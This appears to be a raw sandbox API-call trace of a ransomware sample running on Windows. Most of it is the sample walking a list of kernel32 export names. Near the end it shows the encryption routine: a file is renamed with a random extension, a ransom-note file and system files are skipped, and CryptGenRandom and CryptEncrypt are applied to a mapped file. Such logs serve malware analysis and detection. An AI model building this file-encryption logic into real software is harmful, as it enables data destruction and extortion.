lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0148.969] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0148.969] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0148.969] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0148.969] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0148.969] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0148.969] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0148.969] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0148.969] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0148.970] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0148.970] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0148.970] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0148.970] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0148.970] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0148.970] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0148.970] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0148.970] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0148.970] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0148.970] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0148.970] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0148.970] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0148.970] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0148.970] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0148.970] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0148.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0148.970] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0148.971] lstrlenA (lpString="COPYCONTEXT") returned 11 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0148.971] lstrlenA (lpString="COPYFILE2") returned 9 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0148.971] lstrlenA (lpString="COPYFILEA") returned 9 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0148.971] lstrlenA (lpString="COPYFILEEXA") returned 11 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0148.971] lstrlenA (lpString="COPYFILEEXW") returned 11 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0148.971] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0148.971] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0148.971] lstrlenA (lpString="COPYFILEW") returned 9 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0148.971] lstrlenA (lpString="COPYLZFILE") returned 10 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0148.971] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0148.971] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0148.971] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0148.971] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0148.971] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0148.971] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0148.971] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0148.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0148.972] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0148.972] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0148.972] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0148.972] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0148.972] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0148.972] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0148.972] lstrlenA (lpString="CREATEEVENTA") returned 12 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0148.972] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0148.972] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0148.972] lstrlenA (lpString="CREATEEVENTW") returned 12 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0148.972] lstrlenA (lpString="CREATEFIBER") returned 11 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0148.972] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0148.972] lstrlenA (lpString="CREATEFILE2") returned 11 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0148.972] lstrlenA (lpString="CREATEFILEA") returned 11 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0148.972] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0148.972] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0148.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0148.972] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0148.973] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0148.973] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0148.973] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0148.973] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0148.973] lstrlenA (lpString="CREATEFILEW") returned 11 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0148.973] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0148.973] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0148.973] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0148.973] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0148.973] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0148.973] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0148.973] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0148.973] lstrlenA (lpString="CREATEJOBSET") returned 12 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0148.973] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0148.973] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0148.973] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0148.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0148.974] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0148.974] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0148.974] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0148.974] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0148.974] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0148.974] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0148.974] lstrlenA (lpString="CREATEPIPE") returned 10 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0148.974] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0148.974] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0148.974] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0148.974] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0148.974] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0148.974] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0148.974] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0148.974] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0148.974] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0148.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0148.974] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0148.975] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0148.975] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0148.975] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0148.975] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0148.975] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0148.975] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0148.975] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0148.975] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0148.975] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0148.975] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0148.975] lstrlenA (lpString="CREATETHREAD") returned 12 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0148.975] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0148.975] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0148.975] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0148.975] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0148.975] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0148.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0148.976] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0148.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0148.976] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0148.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0148.976] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\Save.ico.ACgOh6F") returned 47 [0148.976] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.ACgOh6F" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.acgoh6f"), dwFlags=0x0) returned 1 [0148.977] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.977] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.978] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.978] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0148.978] lstrcmpiW (lpString1="Setup.ico", lpString2="DECRYPT-FILES.html") returned 1 [0148.978] lstrcmpiW (lpString1="Setup.ico", lpString2="autorun.inf") returned 1 [0148.978] lstrcmpiW (lpString1="Setup.ico", lpString2="boot.ini") returned 1 [0148.978] lstrcmpiW (lpString1="Setup.ico", lpString2="desktop.ini") returned 1 [0148.978] lstrcmpiW (lpString1="Setup.ico", lpString2="ntuser.dat") returned 1 [0148.978] lstrcmpiW (lpString1="Setup.ico", lpString2="iconcache.db") returned 1 [0148.978] lstrcmpiW (lpString1="Setup.ico", lpString2="bootsect.bak") returned 1 [0148.978] lstrcmpiW (lpString1="Setup.ico", lpString2="ntuser.dat.log") returned 1 [0148.978] lstrcmpiW (lpString1="Setup.ico", lpString2="thumbs.db") returned -1 [0148.978] lstrcmpiW (lpString1="Setup.ico", lpString2="Bootfont.bin") returned 1 [0148.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0148.978] lstrlenW (lpString="Setup.ico") returned 9 [0148.978] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0148.978] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Setup.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" [0148.978] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0148.979] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0148.979] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=36710) returned 1 [0148.979] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0148.979] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0149.111] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0149.111] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0149.111] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0149.111] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0149.112] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0149.113] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.114] 